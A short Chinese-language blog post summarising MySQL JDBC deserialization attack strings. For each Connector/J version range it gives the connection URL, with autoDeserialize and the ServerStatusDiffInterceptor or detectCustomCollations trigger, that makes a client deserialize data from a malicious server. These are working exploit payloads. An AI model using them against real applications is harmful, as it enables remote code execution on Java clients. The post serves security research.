Diggid's Blog

Mysql jdbc 反序列化

字数统计: 242阅读时长: 1 min
2021/11/16 Share

jdbc串总结

ServerStatusDiffInterceptor触发点

连接后会执行一些初始化查询语句,拦截器ServerStatusDiffInterceptor在执行这些查询语句前会先执行SHOW SESSION STATUS,并将返回结果封装在ResultSetImpl中,然后调用getObject方法对blob类型的行结果进行反序列化。

8.x

1
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

6.x

属性名不同,queryInterceptors换为statementInterceptors:

1
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

>=5.1.11

包名中没有cj:

1
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

5.x <= 5.1.10

同上,但需要连接后执行查询。

detectCustomCollations触发点

主要是连接后执行SHOW COLLATION反序列化流程同上

5.1.29 - 5.1.40

1
jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true

5.1.28 - 5.1.19

1
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true
CATALOG
  1. 1. jdbc串总结
    1. 1.1. ServerStatusDiffInterceptor触发点
      1. 1.1.1. 8.x
      2. 1.1.2. 6.x
      3. 1.1.3. >=5.1.11
      4. 1.1.4. 5.x <= 5.1.10
    2. 1.2. detectCustomCollations触发点
      1. 1.2.1. 5.1.29 - 5.1.40
      2. 1.2.2. 5.1.28 - 5.1.19